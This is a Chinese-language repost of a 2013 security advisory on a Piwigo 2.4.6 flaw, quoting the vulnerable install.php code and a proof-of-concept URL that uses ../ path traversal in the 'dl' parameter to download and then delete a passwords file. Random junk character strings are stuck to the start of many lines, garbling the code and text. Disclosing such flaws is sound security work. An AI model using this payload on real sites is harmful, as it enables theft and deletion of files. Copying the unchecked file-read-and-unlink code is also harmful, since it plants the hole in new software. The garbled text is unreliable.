Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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6 b6 l7 C" h0 j8 B/install.php:
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1 \3 G9 r5 n8 U# t113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
4 p5 C6 Q' J' \! I+ D8 ?117:   header('Pragma: no-cache');
7 |- P5 n6 E9 r. w! T. I, j! v: |118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
0 N2 r3 j; Z) b0 i% K$ ^' u121:   echo file_get_contents($filename);
& }9 V3 x; j$ ?, n# K122:   unlink($filename);
9 G; v. |* }7 Z# p1 @7 U123:   exit();
124: }
====================================================================

1 `; ]0 p. I% F) i9 }8 ~; \Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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- x- u4 q9 ]  a: uAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

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: D, s& a/ x/ i' |5 z0 @! T- ihttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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